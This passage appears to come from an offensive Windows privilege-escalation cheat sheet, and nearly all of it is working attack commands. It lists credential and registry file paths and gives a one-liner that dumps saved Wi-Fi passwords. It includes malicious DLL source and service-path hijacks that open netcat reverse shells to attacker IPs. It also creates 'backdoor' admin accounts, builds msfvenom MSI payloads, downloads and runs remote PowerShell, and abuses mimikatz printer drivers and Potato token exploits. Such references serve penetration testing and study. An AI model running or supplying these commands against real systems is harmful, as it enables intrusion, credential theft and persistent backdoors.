%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
Wifi passwords
Find AP SSID
Get Cleartext Pass
netsh wlan show profile <SSID> key=clear
Oneliner method to extract wifi passwords from all the access point.
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
Sticky Notes passwords
The sticky notes app stores it’s content in a sqlite db located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
Passwords stored in services
Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Passwords stored in Key Manager
This software will display its output in a GUI
rundll32 keymgr,KRShowKeyMgr
Powershell History
Disable Powershell history: Set-PSReadlineOption -HistorySaveStyle SaveNothing
.
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
Powershell Transcript
C:\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
Password in Alternate Data Stream
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag
EoP — Processes Enumeration and Tasks
-
What processes are running?
tasklist /v net start sc query Get-Service Get-Process Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
-
Which processes are running as «system»
tasklist /v /fi "username eq system"
-
Do you have powershell magic?
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
-
List installed programs
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
-
List services
net start wmic service list brief tasklist /SVC
-
Enumerate scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
-
Startup tasks
wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
EoP — Incorrect permissions in services
A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.
Often, services are pointing to writable locations:
- Orphaned installs, not installed anymore but still exist in startup
-
DLL Hijacking
# find missing DLL - Find-PathDLLHijack PowerUp.ps1 - Process Monitor : check for "Name Not Found" # compile a malicious dll - For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll" - For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll" # content of windows_dll.c #include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt"); ExitProcess(0); } return TRUE; }
-
PATH directories with weak permissions
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt $ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a" $ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt FOR /F %i in (Servicenames.txt) DO echo %i type Servicenames.txt FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions
Note to check file permissions you can use cacls
and icacls
icacls (Windows Vista +)
cacls (Windows XP)
You are looking for BUILTIN\Users:(F)
(Full access), BUILTIN\Users:(M)
(Modify access) or BUILTIN\Users:(W)
(Write-only access) in the output.
Example with Windows 10 — CVE-2019-1322 UsoSvc
Prerequisite: Service account
PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd /C C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: usosvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Update Orchestrator Service
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem
PS C:\Windows\system32> sc.exe start UsoSvc
Example with Windows XP SP1 — upnphost
# NOTE: spaces are mandatory for this exploit to work !
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost
If it fails because of a missing dependency, try the following commands.
sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost
sc config upnphost depend=""
Using accesschk
from Sysinternals or accesschk-XP.exe — github.com/phackt
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
$ accesschk.exe -ucqv upnphost
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>
EoP — Windows Subsystem for Linux (WSL)
With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don’t know the root password? No problem just set the default user to root W/
<distro>.exe --default-user root
. Now start your bind shell or reverse. — Warlockobama’s tweet
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Binary bash.exe
can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Alternatively you can explore the WSL
filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
EoP — Unquoted Service Paths
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
# in CMD
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
# in PowerShell
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
- Metasploit exploit :
exploit/windows/local/trusted_service_path
-
PowerUp exploit
# find the vulnerable application C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks" ... [*] Checking for unquoted service paths... ServiceName : BBSvc Path : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe StartName : LocalSystem AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath> ... # automatic exploit Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
Example
For C:\Program Files\something\legit.exe
, Windows will try the following paths first:
C:\Program.exe
C:\Program Files.exe
EoP — $PATH Interception
Requirements:
- PATH contains a writable folder with low privileges.
- The writable folder is before the folder that contains the legitimate binary.
EXAMPLE:
# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path
# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"
# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
Because (in this example) «C:\Program Files\nodejs\» is before «C:\WINDOWS\system32\» on the PATH variable, the next time the user runs «cmd.exe», our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.
EoP — Named Pipes
- Find named pipes:
[System.IO.Directory]::GetFiles("\\.\pipe\")
- Check named pipes DACL:
pipesec.exe <named_pipe>
- Reverse engineering software
- Send data throught the named pipe :
program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe
EoP — Kernel Exploitation
List of exploits kernel : https://github.com/SecWiki/windows-kernel-exploits
Security Bulletin Table
Security Bulletin | KB | Description | Operating System |
---|---|---|---|
MS17-017 | KB4013081 | GDI Palette Objects Local Privilege Escalation | Windows 7/8 |
CVE-2017-8464 | — | LNK Remote Code Execution Vulnerability | Windows 10/8.1/7/2016/2010/2008 |
CVE-2017-0213 | — | Windows COM Elevation of Privilege Vulnerability | Windows 10/8.1/7/2016/2010/2008 |
CVE-2018-0833 | — | SMBv3 Null Pointer Dereference Denial of Service | Windows 8.1/Server 2012 R2 |
CVE-2018-8120 | — | Win32k Elevation of Privilege Vulnerability | Windows 7 SP1/2008 SP2, 2008 R2 SP1 |
MS17-010 | KB4013389 | Windows Kernel Mode Drivers | Windows 7/2008/2003/XP |
MS16-135 | KB3199135 | Windows Kernel Mode Drivers | 2016 |
MS16-111 | KB3186973 | Kernel API | Windows 10 10586 (32/64)/8.1 |
MS16-098 | KB3178466 | Kernel Driver | Windows 8.1 |
MS16-075 | KB3164038 | Hot Potato | 2003/2008/7/8/2012 |
MS16-034 | KB3143145 | Kernel Driver | 2008/7/8/10/2012 |
MS16-032 | KB3143141 | Secondary Logon Handle | 2008/7/8/10/2012 |
MS16-016 | KB3136041 | WebDAV | 2008/Vista/7 |
MS16-014 | KB3134228 | Remote Code Execution | 2008/Vista/7 |
MS03-026 | KB823980 | Buffer Overrun In RPC Interface | NT/2000/XP/2003 |
To cross compile a program from Kali, use the following command.
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
EoP — Microsoft Windows Installer
AlwaysInstallElevated
Using the reg query
command, you can check the status of the AlwaysInstallElevated
registry key for both the user and the machine. If both queries return a value of 0x1
, then AlwaysInstallElevated
is enabled for both user and machine, indicating the system is vulnerable.
-
Shell command
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
-
PowerShell command
Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
Then create an MSI package and install it.
msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi
msiexec /quiet /qn /i C:\evil.msi
Technique also available in :
- Metasploit :
exploit/windows/local/always_install_elevated
- PowerUp.ps1 :
Get-RegistryAlwaysInstallElevated
,Write-UserAddMSI
CustomActions
Custom Actions in MSI allow developers to specify scripts or executables to be run at various points during an installation
- mgeeky/msidump — a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner.
- activescott/lessmsi — A tool to view and extract the contents of an Windows Installer (.msi) file.
- mandiant/msi-search — This tool simplifies the task for red team operators and security teams to identify which MSI files correspond to which software and enables them to download the relevant file.
Enumerate products on the machine
Get-WmiObject Win32_Product | Select Name, LocalPackage
wmic product get identifyingnumber,name,vendor,version,localpackage
Execute the repair process with the /fa
parameter to trigger the CustomActions.
We can use both IdentifyingNumber {E0F1535A-8414-5EF1-A1DD-E17EDCDC63F1}
or path to the installer c:\windows\installer\XXXXXXX.msi
.
The repair will run with the NT SYSTEM account.
$installed = Get-WmiObject Win32_Product
$string= $installed | select-string -pattern "PRODUCTNAME"
$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"
Common mistakes in MSI installers:
- Missing quiet parameters: it will spawn
conhost.exe
asNT SYSTEM
. Use[CTRL]+[A]
to select some text in it, it will pause the execution.- conhost -> properties -> «legacy console mode» Link -> Internet Explorer -> CTRL+O –> cmd.exe
- GUI with direct actions: open a URL and start the browser then use the same scenario.
- Binaries/Scripts loaded from user writable paths: you might need to win the race condition.
- DLL hijacking/search order abusing
-
PowerShell
-NoProfile
missing: Add custom commands into your profilenew-item -Path $PROFILE -Type file -Force echo "Start-Process -FilePath cmd.exe -Wait;" > $PROFILE
EoP — Insecure GUI apps
Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.
Example: «Windows Help and Support» (Windows + F1), search for «command prompt», click on «Click to open Command Prompt»
EoP — Evaluating Vulnerable Drivers
Look for vuln drivers loaded, we often don’t spend enough time looking at this:
- Living Off The Land Drivers is a curated list of Windows drivers used by adversaries to bypass security controls and carry out attacks. The project helps security professionals stay informed and mitigate potential threats.
-
Native binary: DriverQuery.exe
PS C:\Users\Swissky> driverquery.exe /fo table /si Module Name Display Name Driver Type Link Date ============ ====================== ============= ====================== 1394ohci 1394 OHCI Compliant Ho Kernel 12/10/2006 4:44:38 PM 3ware 3ware Kernel 5/18/2015 6:28:03 PM ACPI Microsoft ACPI Driver Kernel 12/9/1975 6:17:08 AM AcpiDev ACPI Devices driver Kernel 12/7/1993 6:22:19 AM acpiex Microsoft ACPIEx Drive Kernel 3/1/2087 8:53:50 AM acpipagr ACPI Processor Aggrega Kernel 1/24/2081 8:36:36 AM AcpiPmi ACPI Power Meter Drive Kernel 11/19/2006 9:20:15 PM acpitime ACPI Wake Alarm Driver Kernel 2/9/1974 7:10:30 AM ADP80XX ADP80XX Kernel 4/9/2015 4:49:48 PM <SNIP>
-
matterpreter/OffensiveCSharp/DriverQuery
PS C:\Users\Swissky> DriverQuery.exe --no-msft [+] Enumerating driver services... [+] Checking file signatures... Citrix USB Filter Driver Service Name: ctxusbm Path: C:\Windows\system32\DRIVERS\ctxusbm.sys Version: 14.11.0.138 Creation Time (UTC): 17/05/2018 01:20:50 Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US <SNIP>
EoP — Printers
Universal Printer
Create a Printer
$printerName = 'Universal Priv Printer'
$system32 = $env:systemroot + '\system32'
$drivers = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName
Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll')
Add-PrinterDriver -Name 'Generic / Text Only'
Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
Execute the driver
$serverName = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
PrinterNightmare
git clone https://github.com/Flangvik/DeployPrinterNightmare
PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[<3] @Flangvik - TrustedSec
[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Adding printer driver => Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key
PS C:\target> $serverName = 'printer-installed-host'
PS C:\target> $printerName = 'EasySystemShell'
PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
PS C:\target> Add-Printer -ConnectionName $fullprinterName
Bring Your Own Vulnerability
jacob-baines/concealed_position
- ACIDDAMAGE — CVE-2021-35449 — Lexmark Universal Print Driver LPE
- RADIANTDAMAGE — CVE-2021-38085 — Canon TR150 Print Driver LPE
- POISONDAMAGE — CVE-2019-19363 — Ricoh PCL6 Print Driver LPE
- SLASHINGDAMAGE — CVE-2020-1300 — Windows Print Spooler LPE
cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE
EoP — Runas
Use the cmdkey
to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Then you can use runas
with the /savecred
options in order to use the saved credentials.
The following example is calling a remote binary via an SMB share.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"
Using runas
with a provided set of credential.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
EoP — Abusing Shadow Copies
If you have local administrator access on a machine try to list shadow copies, it’s an easy way for Privilege Escalation.
# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
# List shadow copies using diskshadow
diskshadow list shadows all
# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
EoP — From local administrator to NT SYSTEM
EoP — Living Off The Land Binaries and Scripts
Living Off The Land Binaries and Scripts (and also Libraries) : lolbas-project.github.io
The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.
A LOLBin/Lib/Script must:
- Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.
Have extra «unexpected» functionality. It is not interesting to document intended use cases.
Exceptions are application whitelisting bypasses - Have functionality that would be useful to an APT or red team
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml
EoP — Impersonation Privileges
Full privileges cheatsheet at gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
Privilege | Impact | Tool | Execution path | Remarks |
---|---|---|---|---|
SeAssignPrimaryToken |
Admin | 3rd party tool | «It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe» | Thank you Aurélien Chalot for the update. I will try to re-phrase it to something more recipe-like soon. |
SeBackup |
Threat | Built-in commands | Read sensitve files with robocopy /b |
— May be more interesting if you can read %WINDIR%\MEMORY.DMP
— — Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
SeCreateToken |
Admin | 3rd party tool | Create arbitrary token including local admin rights with NtCreateToken . |
|
SeDebug |
Admin | PowerShell | Duplicate the lsass.exe token. |
Script to be found at FuzzySecurity |
SeLoadDriver |
Admin | 3rd party tool | 1. Load buggy kernel driver such as szkg64.sys or capcom.sys 2. Exploit the driver vulnerability Alternatively, the privilege may be used to unload security-related drivers with |
1. The szkg64 vulnerability is listed as CVE-2018-157322. The szkg64 exploit code was created by Parvez Anwar |
SeRestore |
Admin | PowerShell | 1. Launch PowerShell/ISE with the SeRestore privilege present. 2. Enable the privilege with Enable-SeRestorePrivilege). 3. Rename utilman.exe to utilman.old 4. Rename cmd.exe to utilman.exe 5. Lock the console and press Win+U |
Attack may be detected by some AV software.
Alternative method relies on replacing service binaries stored in «Program Files» using the same privilege. |
SeTakeOwnership |
Admin | Built-in commands | 1. takeown.exe /f "%windir%\system32" 2. icalcs.exe "%windir%\system32" /grant "%username%":F 3. Rename cmd.exe to utilman.exe 4. Lock the console and press Win+U |
Attack may be detected by some AV software.
Alternative method relies on replacing service binaries stored in «Program Files» using the same privilege. |
SeTcb |
Admin | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.
To be verified. |
|
SeRelabel |
Admin | 3rd party too | decoder-it/RelabelAbuse | Allows you to own resources that have an integrity level even higher than your own |
Restore A Service Account’s Privileges
This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.
# https://github.com/itm4n/FullPowers
c:\TOOLS>FullPowers
[+] Started dummy thread with id 9976
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
Meterpreter getsystem and alternatives
meterpreter> getsystem
Tokenvator.exe getsystem cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
psexec -s -i cmd.exe
python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
RottenPotato (Token Impersonation)
- Binary available at : foxglovesec/RottenPotato and breenmachine/RottenPotatoNG
-
Exploit using Metasploit with
incognito mode
loaded.getuid getprivs use incognito list\_tokens -u cd c:\temp\ execute -Hc -f ./rot.exe impersonate\_token "NT AUTHORITY\SYSTEM"
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
Juicy Potato (Abusing the golden privileges)
If the machine is >= Windows 10 1809 & Windows Server 2019 — Try Rogue Potato
If the machine is < Windows 10 1809 < Windows Server 2019 — Try Juicy Potato
-
Binary available at : ohpe/juicy-potato
-
Check the privileges of the service account, you should look for SeImpersonate and/or SeAssignPrimaryToken (Impersonate a client after authentication)
-
Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object
- Windows 7 Enterprise
- Windows 8.1 Enterprise
- Windows 10 Enterprise
- Windows 10 Professional
- Windows Server 2008 R2 Enterprise
- Windows Server 2012 Datacenter
- Windows Server 2016 Standard
-
Execute JuicyPotato to run a privileged command.
JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7} JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe" Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337 ...... [+] authresult 0 {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK
Rogue Potato (Fake OXID Resolver)
- Binary available at antonioCoco/RoguePotato
# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999
# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine.
# Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"
# RoguePotato all in one with RogueOxidResolver running locally on port 9999
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999
#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode
EFSPotato (MS-EFSR EfsRpcOpenFileRaw)
- Binary available at zcgonvh/EfsPotato
# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs
# .NET 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs
JuicyPotatoNG
